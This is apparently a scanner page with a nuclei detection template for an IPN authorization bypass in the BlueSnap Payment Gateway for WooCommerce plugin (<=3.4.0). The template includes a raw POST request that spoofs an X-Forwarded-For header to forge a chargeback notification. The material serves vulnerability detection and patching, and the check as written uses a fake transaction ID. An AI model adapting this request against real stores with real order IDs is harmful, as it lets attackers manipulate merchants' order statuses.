BlueSnap Payment Gateway for WooCommerce <=3.4.0 - IPN Authorization Bypass

highseverity

7.5CVSS score

1.1%likelihood of exploitation, next 30 days

65%of all CVEs are less likely

Readycheck to confirm it

BlueSnap Payment Gateway for WooCommerce <= 3.4.0 validates its unauthenticated IPN webhook using WooCommerce's client-IP geolocation, which trusts spoofed forwarding headers instead of requiring a webhook signature. Version 3.4.1 replaces the IP check with HMAC-SHA256 security headers. This detector supplies a generated, non-existent transaction ID, so the vulnerable code reaches the order lookup and returns `Order could not be found` without changing an order.

Impact

Unauthenticated attackers can manipulate order statuses, causing financial and operational disruption.

Fix

Update to the latest version of BlueSnap Payment Gateway for WooCommerce plugin.

How to confirm it

Send: POST /?wc-api=bluesnap
Positive when: contains "Order could not be found" AND status 400

Run it with nuclei: nuclei -id CVE-2026-0692 -u <target>

The full check

id: CVE-2026-0692

info:
  name: BlueSnap Payment Gateway for WooCommerce <=3.4.0 - IPN Authorization Bypass
  author: str4k3r
  severity: high
  description: |
    BlueSnap Payment Gateway for WooCommerce <= 3.4.0 validates its unauthenticated IPN webhook using WooCommerce's client-IP geolocation, which trusts spoofed forwarding headers instead of requiring a webhook signature. Version 3.4.1 replaces the IP check with HMAC-SHA256 security headers. This detector supplies a generated, non-existent transaction ID, so the vulnerable code reaches the order lookup and returns `Order could not be found` without changing an order.
  impact: |
    Unauthenticated attackers can manipulate order statuses, causing financial and operational disruption.
  remediation: |
    Update to the latest version of BlueSnap Payment Gateway for WooCommerce plugin.
  reference:
    - https://plugins.svn.wordpress.org/bluesnap-payment-gateway-for-woocommerce/tags/3.4.0/includes/class-wc-bluesnap-ipn-webhooks.php
    - https://plugins.svn.wordpress.org/bluesnap-payment-gateway-for-woocommerce/tags/3.4.1/includes/class-wc-bluesnap-ipn-webhooks.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0692
  classification:
    cve-id: CVE-2026-0692
    epss-score: 0.01055
    epss-percentile: 0.64684
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
  metadata:
    max-request: 1
    product: bluesnap-payment-gateway-for-woocommerce
    vendor: bluesnap
    verified: true
  tags: cve,cve2026,wp,wordpress,wp-plugin,woocommerce,bluesnap,auth-bypass

http:
  - raw:
      - |
        POST /?wc-api=bluesnap HTTP/1.1
        Host: {{Hostname}}
        User-Agent: BlueSnap
        X-Forwarded-For: 38.99.111.60
        Content-Type: application/x-www-form-urlencoded

        transactionType=CHARGEBACK&merchantTransactionId=nuclei-{{randstr}}&referenceNumber=CVE0692CODEX&reason=CVE0692

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Order could not be found"

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from